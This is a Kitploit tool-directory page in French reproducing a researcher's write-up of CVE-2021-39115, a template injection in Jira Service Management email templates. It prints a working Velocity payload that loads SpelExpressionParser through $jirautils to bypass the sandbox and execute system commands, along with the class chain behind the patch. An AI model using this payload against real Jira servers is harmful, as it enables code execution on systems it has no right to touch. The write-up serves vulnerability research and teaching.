Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-39115 — Template Injection dans les modèles d'email entraîne une exécution de code sur Jira Service Management Server | Kitploit
Outils/GitHubGitHub/petrusviet/cve-2021-39115
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubpetrusviet/cve-2021-39115

CVE-2021-39115

Template Injection dans les modèles d'email entraîne une exécution de code sur Jira Service Management Server

Voir le dépôt
4812il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-39115

L'injection de modèles dans les modèles d'e-mail conduit à l'exécution de code sur Jira Service Management Server

I) Construction

J'ai expliqué comment déployer et déboguer ici, vous pouvez vous y référer.

II) Analyse

Dans la Description de ce CVE, il est clairement indiqué que le bug se trouve dans la fonctionnalité Email Template. Avec les privilèges admin, l'utilisateur peut librement modifier les modèles des e-mails de notification. Ce bug nécessite des privilèges admin pour être exécuté, donc même s'il permet une RCE, il n'est pas très grave, mais j'ai quand même décidé d'écrire ce blog pour le plaisir :) ceux qui cherchent à comprendre SSTI peuvent s'y référer.

  • Pour commencer, j'ai déployé la version atlassian-jira-servicedesk-4.17.0-m0006-standalone et j'ai essayé de diff avec la version 4.18.0 pour voir les différences : image

Quand j'ai vu ce tas, ... évidemment je n'ai pas lu chaque fichier un par un, je suis trop paresseux. Blague à part, en réalité, en plus du correctif de sécurité, les versions comportent aussi des améliorations et des changements de fonctionnalités. Tout différer et tout lire serait trop long. Bien sûr, dans certains cas, je dois m'y résoudre, mais dans ce cas, je ne l'ai pas fait =)))

  • Comme dit plus haut, l'admin a le droit de modifier le modèle de tous les e-mails de notification. Donc, la première étape est de savoir quels contextes sont disponibles lors de l'analyse des e-mails de notification ? C'est particulièrement important pour exploiter un bug SSTI (avec sandbox). La meilleure façon est de déboguer et d'entrer dans l'analyse du modèle d'e-mail pour voir la valeur des variables de contexte.
  • Bien sûr, il y a plusieurs types de notifications (inscription, changement de mot de passe, ...), chacun utilisant un endpoint différent. J'utilise la fonctionnalité SendBulkMail pour créer un e-mail de notification. Je ne détaillerai pas la pile d'appels de cet endpoint pour éviter de m'étendre, car elle est similaire à celle de CVE-2019-11581.

Dans la fonction SimpleNote.render, je peux voir la variable de contexte pour voir ce que je peux utiliser :

D'après ma propre expérience, je fais attention à vérifier les contextes/classes contenant des mots-clés comme : Utils, Manager, service, ... . Je remarque le contexte $jirautils (classe com.atlassian.jira.util.JiraUtils) qui contient la méthode public static <T> T loadComponent(String className, Class<?> callingClass) :

Je cherche de la documentation pour comprendre son fonctionnement, comment l'utiliser, car l'entrée est un String className et la sortie est une classe, il est donc très probable que cette méthode charge une classe arbitrairement :

  • Comme le dit la documentation, cette fonction sert à charger des classes :) Je commence immédiatement à voir si cette méthode peut vraiment charger une classe arbitraire :

Je vais dans System -> Email templates et télécharge le modèle actuel sur ma machine

Il y a de nombreux modèles différents, chacun utilisé pour un type de notification différent, donc je cherche un fichier qui peut être utilisé pour plusieurs types de notifications, comme email\html\includes\header.vm

Après avoir téléchargé le modèle modifié, et en utilisant SendBulkMail pour envoyer un e-mail de notification, j'obtiens la sortie suivante dans l'e-mail :

En gros, cette classe n'a pas de constructeurs ou n'est pas acceptée. J'essaie d'utiliser une autre classe avec un constructeur (constructeur sans paramètre) pour voir :

Et le résultat est comme prévu. J'ai réussi à obtenir la classe :

  • Ainsi, nous pouvons charger une classe presque arbitrairement, c'est plutôt bien. Mais comment obtenir une RCE ? Jira utilise le moteur de template Velocity et dispose d'un sandbox assez complet, avec une liste noire de packages et de classes (la liste noire de classes peut bloquer toutes les classes héritant des classes de la liste noire). Utiliser les classes publiques sur internet est presque impossible. Je dois donc diff entre la version buggée et la version patchée pour voir les différences. Bien sûr, je ne vais pas tout diff, mais seulement le fichier de configuration de Velocity (\atlassian-jira\WEB-INF\classes\velocity.properties) pour voir les nouvelles mises à jour :

On voit que 3 classes sont ajoutées à la liste noire :

root@kitploit:~
org.springframework.expression.spel.standard.SpelExpressionParser,\
com.atlassian.jira.component.ComponentAccessor,\
com.atlassian.jira.plugin.ComponentClassManager

En examinant chaque classe, je remarque que la classe SpelExpressionParser a une méthode public SpelExpression parseRaw(String expressionString). Après une brève recherche sur Google pour trouver comment l'utiliser, cela ressemble à ceci :

root@kitploit:~
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')")

Comme vous le voyez, la méthode parseRaw renvoie un objet de classe org.springframework.expression.spel.standard.SpelExpression sans réellement évaluer l'expression que j'ai fournie. Je regarde la classe SpelExpression et vois la méthode getValue :

root@kitploit:~
@Nullable
    public Object getValue() throws EvaluationException {
        CompiledExpression compiledAst = this.compiledAst;
        if (compiledAst != null) {
            try {
                EvaluationContext context = this.getEvaluationContext();
                return compiledAst.getValue(context.getRootObject().getValue(), context);
            } catch (Throwable var4) {
                if (this.configuration.getCompilerMode() != SpelCompilerMode.MIXED) {
                    throw new SpelEvaluationException(var4, SpelMessage.EXCEPTION_RUNNING_COMPILED_EXPRESSION, new Object[0]);
                }
            }

            this.compiledAst = null;
            this.interpretedCount.set(0);
        }

        ExpressionState expressionState = new ExpressionState(this.getEvaluationContext(), this.configuration);
        Object result = this.ast.getValue(expressionState);
        this.checkCompile(expressionState);
        return result;
    }

En regardant l'entrée/sortie, en tant que personne jouant sur le spirituel, je décide d'essayer directement sans lire la documentation :

root@kitploit:~
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()

et le résultat :

III) Conclusion

Ainsi, nous avons pu contourner le sandbox de Velocity pour obtenir une RCE. Cependant, en me mettant à la place de l'auteur - la personne qui a découvert ce bug - il y a encore des questions auxquelles je ne peux pas répondre :

  • Pourquoi y a-t-il trois classes ajoutées à la liste noire ?

En étudiant ces trois classes, je vois qu'elles peuvent former une chaîne :

root@kitploit:~
ComponentAccessor.getComponentClassManager() 
  => ComponentClassManager.newInstance(String className) (Cette classe peut charger une classe arbitraire)
        => SpelExpressionParser

Si l'auteur utilisait $jirautils comme moi, il n'aurait pas besoin des deux autres classes. Mais si l'auteur n'utilisait pas $jirautils, comment aurait-il pu obtenir ComponentAccessor ???

  • Comment l'auteur a-t-il trouvé ces trois classes ? C'est une question qui me préoccupe et que j'aimerais savoir, mais je pense que seule une communication directe avec l'auteur me permettrait de le savoir. Malheureusement, je ne sais pas qui est l'auteur de ce bug.

IV) Continuer à contourner le correctif

Télécharger l’outil